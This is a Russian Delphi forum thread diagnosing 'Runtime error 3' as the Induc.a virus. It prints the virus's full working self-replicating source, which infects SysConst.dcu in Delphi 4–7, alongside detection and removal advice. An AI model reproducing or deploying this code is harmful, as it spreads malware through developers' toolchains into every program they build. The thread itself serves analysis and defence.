Здраствуйте, у меня есть проблема с моей программой, а именно не хочет запускаться на некоторых компьютерах . Вылетает ошибка Runtime error 3 at .... Я уже не знаю чё делать голову сломал. Попытался поудалять папки в корневой папке Delphi. После удаления папки Source у меня тоже моя программа перестала запускаться вылетает это же сообщение Runtime error 3 at ... Помогите разобраться в этой ситуации. Заранее спасибо.
Уважаемые авторы вопросов! Большая просьба сообщить о результатах решения проблемы на этой странице. Иначе, следящие за обсуждением, возможно имеющие аналогичные проблемы, не получают ясного представления об их решении. А авторы ответов не получают обратной связи. Что можно расценивать, как проявление неуважения к отвечающим от автора вопроса.
08-10-2009 13:15 | Комментарий к предыдущим ответам
Во-первых, этот "фикс" расчитан только на Delphi 7(судя по батнику).
Во-вторых, он очищает в реестре ветку (что совсем не нужно) HKLM\SOFTWARE\Borland\Delphi\7.0\RootDir
Причём очищает с помощью какой-то самописной программы, которая упакована каким-то пакером, который определяется антивирусом как вирус(!). При проверке этого файла на virustotal, 19 антивирусов определили его как вирус.
1. Батник это всего лишь пример фикса при помощи программы cmdRegCleaner.exe (1.2 http://www.nazironline.ru/index.php?page=freeware.html)
Можете переписать как его хотите (для своих нужд).
2. Уберите строчку из батника, если Вам этого не нужно.
3. Программа не какая-то. Я её написал для себя, когда было необходимо отлаживать программы, которые пишут в реестр.
28-08-2009 03:53 | Комментарий к предыдущим ответам
Вопрос переведён в разряд головоломок, чтобы тип ответа по умолчанию был "Комментарий к предыдущим ответам", и автор вопроса не получал уведомления о каждом ответе в этой весьма оживлённой ветке. А то многие забывают ставить этот тип ответа вручную.
26-08-2009 13:37 | Комментарий к предыдущим ответам
Я подумал: стоит ли выкладывать исходный код?
В общем-то принцип для всех понятен и без кода. Но некоторые неуравновешенные личности в периоде сексуального созревания могут возбудиться, скопипастить и реализоваться крутыми кулхацкерами. :))
Ну, например, "счастливой случайностью".
Просто у меня эта ошибка досады не вызывает, скорее она меня радует, т.к. во многом благодаря этой счастливой случайности был обнаружен вирус :)
P.S. Обзор "Virus.Win32.Induc.a: энцать дней спустя" классный.
P.S.S. Я не заражен, использую Turbo Delphi
26-08-2009 02:29 | Комментарий к предыдущим ответам
>>> И, что тоже обещали, не собираются уделять этой проблеме больше внимания, чем она заслуживает
Интересно, это окончательный официальный ответ или просто реакция на текущее состояние дел?
Т.е. было обещано "нечто", что позволит защитить Delphi от всех подобного рода атак (сообщение Allen Bauer). В данном FAQ в основном упор на "индюка" и то, что он поражает 4-7 (да, не упустили они случая прорекламировать новые Delphi). Т.е. как бы они считают это достаточным (набор рекомендаций) или ещё что-то будет?
>>> GunSmoker все время называет ошибку в вирусе "досадной"
А как иначе её можно назвать?
25-08-2009 17:46 | Комментарий к предыдущим ответам
Боже, сколько много слов )
Надо тоже вирус для Delphi (только уже для версий 2006-2009) написать, вот она - слава :)
Как-то настораживает, что GunSmoker все время называет ошибку в вирусе "досадной" :) Создается впечатление, что это он её допустил :)
Я вот сейчас про ошибки и баги в Windows 7 обсуждение веду третий день подряд на одном форуме. Тоже могу назывтаь их досадными, но это ведь не означает, что я причастен к созданию Windows 7? )))))
Может у Александра Алексеева (GunSmoker-а) так неприязнь к ранним версиям Delphi выражается... )
25-08-2009 06:47 | Комментарий к предыдущим ответам
А как вы отличите инфицированную программу от не инфицированной для неизвестного вируса?
Ведь подобный тип вируса сидит в программе "by design". Если обычные вирусы в некотором роде инородны в о внедрённых программах, то этот вирус является неотъемлемой частью программы. Он не заражал её. Он был там изначально. Он ничем не отличается от вашего Button1Click. Он не имеет никаких признаков обычного вируса. Он не инфицирует программы. Он не висит резидентно в памяти. Он не внедряется в программы. Эвристика не срабатывает. Анти-вирус не ловит. Как вообще анти-вирус узнает, что на него надо срабатывать? Только если его как-то обнаружат и отправят на исследование. Win32.Induc.a обнаружили благодаря ошибке в его коде. А если нет ошибки? Только слежением за своими Delphi.
25-08-2009 06:23 | Комментарий к предыдущим ответам
Есть вероятность, что подобный вирус сможет внедряться в произвольные модули dcu, т.е. не стандартные?
Я вот тут думаю, есть ли особый смысл (для вирусописателя) так распростронять вирус. Все так программисты чуть более продвинутые пользователи и, наверное, вероятнее всего обнаружат заразу на ранней стадии.
Я однажды словил виря и он висел в памяти. Он благополучно заразил запущенное из среды приложение.
Тот же эффект, но этот вирь мог распростронятся через любой комп, а не только со старыми версиями Delphi. На что тут расчитывали? На период молчания антивирусных программ?
24-08-2009 04:20 | Комментарий к предыдущим ответам
По поводу новизны метода: читал о подобном методе заражения Turbo Pascal ещё в те времена, когда был жив Aidstest... Так что это не новое, а хорошо забытое старое.
>>> А вот подозрительно, почему червь, поражающий инсталляции старых версий Delphi появляется, как раз перед выпуском RAD Studio 2010. Если прикинуть вектор атаки, получается, что CodeGear заинтересованы в таком вирусе :-/
Позвольте спросить: в чём состоит заинтересованность? В том, что узнав, что конкретно этот вирус заражает только старые версии, народ бросится покупать новые, поскольку конкретно этот вирус их не заражает? И на кого такая акция может быть рассчитана? На идиотов?
"Мне представляется совсем простая штука":
1. Почему только старые версии - потому, что автор сам писал на старой и не проверил работоспособность на новых.
2. Почему именно сейчас - человек пахал все каникулы, чтобы успеть до начала учебного года. Успел...
По поводу безопасности: если контроль родных модулей Делфи ещё можно как то обеспечить, то как защититься от заражения сторонних пакетов? Да и где гарантия, что не появиться модификация вируса, которая будет осуществлять поиск всех *.pas и производить их заражение.
23-08-2009 16:10 | Комментарий к предыдущим ответам
Для меня gunsmoker, tdelphi и вся прочая "блогосферная тусовка" - неавторитетна. Простите за прямоту, Александр, там обычно не читаю :)
Да, Интерсимон и Ходжес (с Вашего позволения, обойдусь без name-dropping) есть в списке лиц, которые получат выгоду от появления этого червя именно сейчас (Cui bono?). Вы охарактеризовали мое мнение как "абсолютный бред" и классифицоровали как "Вопросы от неумения читать/гуглить/использовать голову" и теперь удивляетесь, что Ваши публикации не читают?
Насчет гипотезы о PoC готов поспорить. За код - спасибо. Дураку не отвечайте.
А вот подозрительно, почему червь, поражающий инсталляции старых версий Delphi появляется, как раз перед выпуском RAD Studio 2010. Если прикинуть вектор атаки, получается, что CodeGear заинтересованы в таком вирусе :-/
А теперь все антивирусы дружно вносят этот вирус в свои базы и он сносит зараженные программы. Реакция рядового пользователя: разработчик не умеет защищаться - нафик его программы... :(
А благодаря таким обсуждениям, разные "кулхацкеры" учатся не совершать ошибок в коде вируса и получают новые идеи, как напакостить.
Сия дилемма стара как мир. История учит, что укрывательство наносит бОльший вред, ибо рассчитано на то, что вредители слабоумные. На деле это не так. А закрытость не позволяет мобилизовать лучшие умы. И первое и второе - непростительная оплошность, если не больше.
Укрыть можно и нужно реализацию защиты. Но все мы знаем, что и это не вечно, зато дает возможность выйграть время.
Просто Delphi в очередной раз "повезло" :)
Как просто отлично написано здесь http://wings-of-wind.com/2009/08/21/2nd-virus-threat-now-much-dangerous-than-the-former/ такая форма атаки, а возможно и более худшая, может быть реализована для Java, семейства .NET языков, C++, Ruby и т.д.
А особенно просто это сделать для Java.
И как знать, возможно уже разошлись миллионы зараженных jar-файлов.
А благодаря таким обсуждениям, разные "кулхацкеры" учатся не совершать ошибок в коде вируса и получают новые идеи, как напакостить.
Николай, вы как-то странно-выборочно читаете: вы увидели только то, что вы хотели увидеть ;)
Я ещё раз подчеркну: "Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion. What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks."
Т.е. сейчас Allen Bayer не может сказать, в чём конкретно будет заключаться защита от подобных угроз. Но он сказал, что будущие версии Delphi будут включать в себя некоторую защиту от такого сорта угроз. Каких конкретно - пока неясно, они над этим работают. Может это будет цифровая подпись на dcu (во, загнул-то), может какая-то проверка целостности установки, а может просто набор рекомендаций типа: "добавьте папки \Lib и \Source под контроль анти-вируса, включив функцию "эти-файлы-не-должны-никогда-меняться".
Это просто радует, что в Embarcadero обеспокоены проблемой, что само по себе вселяет уверенность, что с данной проблемой мы не будем бороться в одиночку.
Но...
Опять идет речь об одном зараженном модуле! Откуда уверенность, что вирусописатели не выбрали этот модуль просто для обкатки? Заражаться таким путем могут любые дельфийские модули. То, что наличие файла .bak используется как сигнал о том, что вирус свою работу выполнил - очень слабая зацепка. Когда все будет отлажено, для этого не нужны будут подбные сигналы. Не стоит такой признак использвать при выработке мер противодействия.
И уж абсолютно несеръезными звучат уверения, что, мол, этот вирус заражает только старые версии Delphi. Ничто не мешает заражению новых и самых последних версий, если только этот вирус - не дело рук самих разработчиков Delphi.
Меры противодействия должны быть радикальными, исключающими в дальнейшем в принципе подобный способ инфицирования среды разработки. Они должны радикально отличаться от всех доселе существовашвих способов борьбы с вирусами. Заражается среда разработки. Этого раньше не бывало (по крайней мере, я лично такое впервые встречаю). И работа вируса основана на существующей технологии компиляции исполняемых файлов Delphi.
Давайте глянем в корень данной проблемы. Что может гарантировать чистый исполняемый код? Это во-первых, чистота ядра системы (исполняемый файл среды разработки и все его DLL). Проверку их заражения можно проводить существующими способами, коих великое множество. Во-вторых, чистота исходного кода прикладных программ и модулей VCL, а также любых других включаемых модулей. Тут не годятся старые методы борьбы. Нужно гарантировать, что при загрузке исходных текстов в "конвейер" их переработки до самого выхода EXE или DLL не будет внесено искажений. Единственный способ это сделать - обеспечить контроль редакций исходного кода в момент его передачи на самую первую стадию переработки (компиляции).
Как обеспечить контроль исходных текстов, в том числе и библиотек Delphi на уровне файлов DCU и прочих промежуточных модулей? Думаю, что найдутся способы. Но боюсь, что без изменения алгоритмов компилирования и сборки задача не будет должным образом решена. И не думаю, что стоит бояться этого. Вирус атаковал не модули Delphi, он атаковал метод формирования выходных исполняемых файлов. Значит, нужно в эти методы внести изменения, чтобы в дальнейшем было невозможно этим воспользоваться в злонамеренных целях.
At this point, here at Embarcadero, we’re actively analyzing situation and overall impact to our community. We’re also working on recommendations about how to find out if you’re infected and what to do once you see that you are. Throughout all this we’re working on recommended steps can you take to guard against re-infections. Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion.
...
What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks. Maybe this will include code and utilities for them to use, or maybe it will only be a set of guidelines and steps.
Меня немного удивляет методология избавления от вируса, которая проповедуется в этом обсуждении. Поиск SysConsts.bak, просмотр dpr и т.д. и т.п. - это полумеры.
Игра в догонялки. Все это годится только как временная мера.
Если действительно готовится вирус (а иначе, как подготовительными, все действия вирусоразработчиков трудно назвать), то надо соображать, немного заглядывая вперед. Как только будет отработана технология внедрения, уже не будет никаких .bak - файлов, и даже неизвестно, куда будет вирус внедряться, и какие разрушения он может нанести. Практически вычислительная система будет у него в полном владении, т.к. аккаунт разработчика Delphi как правило обладает повышенными, а чаще админовскими правами на компьютере.
Прежде всего над проблемой должна работать (или должен) Embarcadero. У меня нехорошие предчувствия, что придется менять технологию компилирования исполняемого кода.
Похоже универсальный метод поиска вируса - это искать слово dcc32 во всех dcu и pas.
Конечно, не всегда это будет вирус.
Например в JVCL найдено в:
\install\JVCLInstall\Compile.pas
\install\JVCLInstall\Dcc32FileAgePatch.pas
\install\JVCLInstall\DelphiData.pas
\devtools\dpp32\dpp_Macros.pas
Нужно будет тщательнее анализировать исходник.
Если найдено в dcu - лучше его удалить.
Плохо, если есть модификации вируса, в которых текст зашифрован.
Хотя бы просто xor'ом.
20-08-2009 23:37 | Комментарий к предыдущим ответам
WinXP SP3, Delphi7. Чехарда при компиляции началась через два дня после инстоляции JVCL (понадобился TJvRichEdit) и взял из сайта http://jvcl.delphi-jedi.org. Может это просто совпадение? При очередной корректировке проекта запустил Run, и Norton Internet Security на пару секунд семафорил-Bloc Protected .Win32.Induc.a. Потом просто открыл другой проект (посмотреть код ), а после его закрытия ехе-шник исчез. Отсканировал все - Virus.Win32.Indcu.a. Вспомнил про Ваш красный флаг и почитал. Нашел SysConst.bat и выкинул его вместе с .dcu, а скопировал с другого ПК SysConst.dcu (работает без сети и использую как телевизор) и установил. Вроде работает, но надолго ли? Чужих проектов не открывал -не имею и нет нужды. Возможно это все, как вы говорите, от юзания по Дельфийским сайтам и форумам? Я вэтом не разбираюсь, но знаю, что в жизни у вирусов есть инкубационный период.
От перхоти -гильотина, а от вшей - Форматирование. Второе пробовал - помогает.
20-08-2009 05:52 | Комментарий к предыдущим ответам
Короче, если кому-то понадобится поправить ехе-шник (нет возможности пересобрать или влом), то ищем начало блока вируса:
757365732077696E646F77733B207661722073633A61727261795B312E2E32345D206F6620737472696E673D2800
выделяем блок длиной 1042h или в десятичной 4162 байта и по-байтно заменяем на 90, тобишь NOP-им. ;) Проверял - работает. Именно так и поступает Dr.Web.
У меня оказались "зараженными" файлы, скомпилированные еще в начале мая (5 мая - точно уже). Так что уже баян ;) Хотя обнаружил только 19 августа (и то, сообщили).
Ну а я скомпилировал вирус Delphi 2009, отправил на VirusTotal и ни один антивирус его не определил. Возможно не определится и скомпилированный 7 < Delphi < 2009.
И пиар им не поможет :)
>>> Скорее всего, это что-то другое
Нет, именно оно. Видимо в хитросплетениях Borland/CodeGear/Embarcadero стороннему человеку без бутылки не разобраться ;)
Как только они добавили в базу сигнатуру - к ним посыпались кучи жалоб, народ думал, что это false-positive (ещё бы: анти-вирус определяет ВСЕ втои проги как инфицированные). Поэтому они сочли нужным дать разъясняющий пост в блоге.
"Лаборатория Касперского", ведущий ...и т.д....
сообщает о появлении вируса Virus.Win32.Induc.a, распространяющегося
через интегрированную среду разработки программного обеспечения CodeGear
Delphi. Защита от новейшей угрозы уже реализована во всех продуктах
"Лаборатории Касперского".
Странно...
Скорее всего, это что-то другое, так как Delphi 4..7, подверженные этой заразе, никогда не назывались CodeGear Delphi. Сомневаюсь, что Касперцы способны на перлы путания Borland и CodeGear.
"Лаборатория Касперского", ведущий ...и т.д....
сообщает о появлении вируса Virus.Win32.Induc.a, распространяющегося
через интегрированную среду разработки программного обеспечения CodeGear
Delphi. Защита от новейшей угрозы уже реализована во всех продуктах
"Лаборатории Касперского".
>>>Так ведь в том-то и дело, что админ может стать владельцем любого объекта (иначе он админом бы не был).
Сейчас ещё раз перепроверю, но вообще-то я сделал для файла владельца пользователя, а админам запретил права даже смотреть. И всё, теперь у меня выдаёт access denied админу.
>>> вы его запустите под админом (например, если это установщик) - то ничто не может ему помешать поменять права на папку/файл перед записью.
Ну почему же, я сейчас поколдовал с одним файлом, теперь его и админ, не может изменить и права админу запретил менять. Короче там не от админа зависит, а от владельца. Владельцем можешь поставить хоть обычного пользователя и не заходить никогда под его профилем. Владелец может обрубить/назначить любые права любому в системе.
>>> По крайней мере, в Висте их нельзя устанавливать в Program Files, потому что тогда прав не хватает для нормальной работы.
Ну всё же не на 100% верно: Установка Delphi 7/2006 на Windows Vista - достаточно поменять права на несколько папок/файлов.
>>> Если работать с Delphi из-под юзера - не администратора, не имеющего право писать в Program Files, убережёт ли такая практика от этой заразы?
>>> Через вкладку Безопасность обоим файлам назначить запрет пользователю "Все" на запись (но для надежности я также запрет на удаление ставил).
Наверное, это может защитить только от данного конкретного экземпляра. Но если на вашу машину попадёт файл, инфицированный другой аналогиной бякой, а вы его запустите под админом (например, если это установщик) - то ничто не может ему помешать поменять права на папку/файл перед записью.
Наверное, наиболее надёжный способ - постоянный контроль папки \Lib, сравнивая её с бэкапом/дистрибутивом.
16-08-2009 00:43 | Комментарий к предыдущим ответам
Получается, что и в 2000/XP их тоже не следует ставить в Program Files, если планируется работать не из-под админа.
И это - еще одна причина перейти на более новую версию Дельфи! )))
15-08-2009 23:59 | Комментарий к предыдущим ответам
Если работать с Delphi из-под юзера - не администратора, не имеющего право писать в Program Files, убережёт ли такая практика от этой заразы?
Зражаются только версии с 4 по 7-ю, а они, насколько я знаю, что-то пишут в ту папку, в которую установлены. По крайней мере, в Висте ихнельзя устанавливать в Program Files, потому что тогда прав не хватает для нормальной работы.
Еще одно решение как обезопасить делфи от заражения:
1) Скопировать 12-килобайтный оригинальный файл SysConsts.dcu в два экземпляра под именами SysConsts.dcu и SysConsts.bak
2) Через вкладку Безопасность обоим файлам назначить запрет пользователю "Все" на запись (но для надежности я также запрет на удаление ставил).
При таком раскладе зловредный код не сможет переименовать оригинальный .dcu в .bak (что он сначала делает), а значит оригинальный .dcu останется в папке, поверх которого записать ничего тоже не получится из-за разрешений на доступ к файлу.
15-08-2009 13:10 | Комментарий к предыдущим ответам
Господа, хочу задать такой вопрос. Если работать с Delphi из-под юзера - не администратора, не имеющего право писать в Program Files, убережёт ли такая практика от этой заразы?
Во-первых, этот "фикс" расчитан только на Delphi 7(судя по батнику).
Во-вторых, он очищает в реестре ветку (что совсем не нужно) HKLM\SOFTWARE\Borland\Delphi\7.0\RootDir
Причём очищает с помощью какой-то самописной программы, которая упакована каким-то пакером, который определяется антивирусом как вирус(!). При проверке этого файла на virustotal, 19 антивирусов определили его как вирус.
Хочу заметить, что обсуждение того, у кого какой QIP стоит, а также достоинств и недостатков разных его версий является в этой теме злостным оффтопиком.
Тоже нашёл сегодня это у себя. Притом bak файл оказался тоже с вирусом, поэтому пришлось искать чистый файл на диске с delphi. И ещё на всякий случай напишу, что если ставить атрибут на файлы в папке Lib "Только чтение", то это не помогает и вирус всё равно действует.
12-08-2009 23:12 | Комментарий к предыдущим ответам
...и если нашли инфицированный файл, скомпилированный не вами, то именно он - источник заразы на вашей машине.
А вообще эта штука могла придти и от знакомого дельфиста, если у него заражена Delphi. Ну, давал он вам какую-то свою программку посмотреть, погонять, потестить. Вы посмотрели и удалили, а вот Delphi уже заразились.
Ну, чтобы быстро определить, какие файлы инфицированы этим вирусом, можно просто запустить поиск всех файлов на всех дисках, содержащих, к примеру, строчку "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется).
12-08-2009 09:29 | Комментарий к предыдущим ответам
То, что все Delphi-вые программы лезут в реестр в ключи Delphi - это одно. Это работает стандартный ITE и он-то работает без багов.
А вот то, что по интернету ползает саморазмножающийся код (иначе как "вирусом" его назвать не могу) - это уже совсем другое.
Прочитал обсуждение. Александр Алексеев, благодарю вас за информацию. Большое спасибо, действительно, обнаружил у себя этот трижды треклятый sysconst.bak...
Посыпаю голову пеплом и всячески извиняюсь. Версия будет безусловно перекомпилирована
Эээээ... вообще-то я никого не обвинял. Сорри, если это действительно так выглядит со стороны, я вообще-то помочь хотел.
А вот этот саморазмножающийся код тоже, что-ли, поделка RTL Delphi? :D
Действительно, есть такая проблема. Совсем недавно мы выпускали 8094 и к нам на форум пожаловалось несколько человек в этой теме
Вылетает она внутри RTL при обращении к веткам в реестре. Поиск путей вшит в RTL делфи, квип как всем известно написан на делфи
конкретно, ищутся пути
HKCU(или HKLM)\Software\Borland\Delphi\Locales или HKCU\Software\Borland\Locales
Любопытствующие могут увидеть это обращение в модуле System, функция LoadResourceModule
Видимо борланд ввела это обращение как workaround для какого-то бага с локализациями и все, у кого некорректно удалена или установлена делфи могут попасть на эту ошибку.
Замечу, что ошибка выбрасывается виндой, до наших обработчиков просто не доходит.
И уж тем более мы не ставили цели запороть делфи всем. Нас в чем только не обвиняли, но в этом... Извините
В качестве решения проблемы могу предложить запустить инсталлятор делфи и выбрать пункт Restore
Видать, QIP далеко не единственная программа, которая под это попала. как минимум еще aimp. А на форуме кипа я всех буду пилить до тех пор, пока не исправят)
12-08-2009 09:06 | Комментарий к предыдущим ответам
Да, я уже скинул ему сообщение в личку.
Опросил шесть человек по аське (я вообще джаббер на QIP Infium использую), у двоих нашлась эта бяка, причём у одного QIP не был установлен. Видать, QIP далеко не единственная программа, которая под это попала.
12-08-2009 08:36 | Комментарий к предыдущим ответам
Среди участников Королевства есть Sega-Zero: http://www.delphikingdom.ru/asp/users.asp?ID=4216
он - один из разработчиков qip. Наверное можно было бы по поводу вируса спросить у него или сообщить ему.)) Но он по-моему в последнее время нечасто заходит сюда.
12-08-2009 07:47 | Комментарий к предыдущим ответам
P.S. А ещё можно юзать Висту или хотя бы XP не-под-админом, тогда все ваши дельфёвые файлики будут защищены (ну, если вы, конечно, в Program Files всё ставили).
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin closefile(f1); exit; end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
Похоже на "вирус", который размножается путём вписывания себя в установленные Delphi, так что все программы, выходящие из-под "заражённых" Delphi будут включать в себя этот "вирус". Правда ничего больше кроме размножения он не делает. Ну, кроме того, что из-за ошибки в коде вируса вы получаете RunTime error 3, если на вашей машине есть ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) с неправильным значением параметра RootDir (для правильного значение ошибки не происходит).
Определить факт "заражения" можно по наличию файла SysConst.bak в папке \Lib. Как удалить - просто удалить SysConst.dcu и переименовать SysConst.bak -> SysConst.dcu. Противодействовать - так-же: просто создайте SysConst.bak (из SysConst.dcu), так что "вирус" будет думать, что всю работу уже сделал. С уже скомпилированными программами так просто ничего не сделать - проще всего их будет пересобрать.
Сама проблема с RunTime Error 3 сидит тут:
{'I-}assignfile(f1,s);
reset(f1); // <- будет исключение, а т.к. SysUtils ещё не был инициализирован, то - RunTime error 3
reset(f1) вызывает исключение, т.к. в s сидит неверный путь (например, у вас когда-то стояла D7, но теперь удалена или любые другие причины, почему RootDir не указывает в корректную папку).
Хотел было сказать, что нечего скачивать с левых сайтов, а потом решил сам проверить и скачал QIP с официального, установил на виртуалку (стоят с D2 по D2009).
Действительно, при каждом запуске меняет только файл SysConst.dcu, создавая резервную копию, в D4-D7. [Ругательства далее вырезаны цензурой]
Спасибо всем, за исследование этого вопроса. Действительно как оказалось QIP заражён этим вирусом. +Ко всему прочему недавно я нашёл и вирус в AIMP 2 Beta Build 470. Но автор об этом уже знает, и вируса больше в екзешнике Аимпа нету. Кто может связаться с администрацией QIP напишите им об этой прабле. Чтобы таких вопрос больше не было )
Подтверждаю. Действительно QIP 8094 при каждом запуске заменяет оригинальный SysConst.dcu на свой. Размер оригинального файла 11658 байт, измененного - 18198.
Как бороться: создать папку Lib2, скопировать туда оригинальный SysConst.dcu и прописать путь к Lib2 в настройках Library Path впереди всех остальных путей. Например так: $(DELPHI)\Lib2;$(DELPHI)\Lib;$(DELPHI)\Bin;...
Зачем это надо qip - вопрос хороший. В последнее время он очень агрессивен в плане рекламы: не спрашивая меняет поисковик по умолчанию в браузерах, еще по мелочи. Может быть и замена библиотек - в эту струю. Отладчиком не лазил, не смотрел, что там авторы qip в новый SysConst напихали.
>>>Но вот это:
>>>>>> После инсталяции qip 8094 был исправлен файл SysConst.dcu
Вот не знаю зачем ему это нужно, но при запуске он таки меняет SysConst.dcu.
И действительно на другом компе возникает Runtime error 3 at ....
Хорошо хоть .bak оставляет.
Буквально вот проверил.
09-08-2009 22:57 | Комментарий к предыдущим ответам
>>> После инсталяции qip 8094
Ты уверен? Какое отношение имеет QIP (кто не знает :-) - это такой мультипротокольный клиент, поддерживающий в частности ICQ, IRC, Jabber и ряд других протоколов) к Delphi и откуда ОНО знает про модуль SysConst.pas/dcu???
По поводу такой проблемы могу сказать следующее.
После инсталяции qip 8094, был исправлен файл SysConst.dcu в него были добавлены какие-то проверки на реестр не могу понять зачем они это сделали, прям как вирус. Причём инсталяция создаёт бакап файла sysconst.bak.
28-05-2009 11:16 | Вопрос к автору: запрос дополнительной информации
Не, клюква в натуре. А что хоть программа делает? А если сделать пустую программу, ну которая при первом запуске Delphi создается - она как, тоже такую ошибку выдавать будет? А сторонними компонентами пользуетесь?
Если вы заметили орфографическую ошибку на этой странице, просто выделите ошибку мышью и нажмите Ctrl+Enter. Функция может не работать в некоторых версиях броузеров.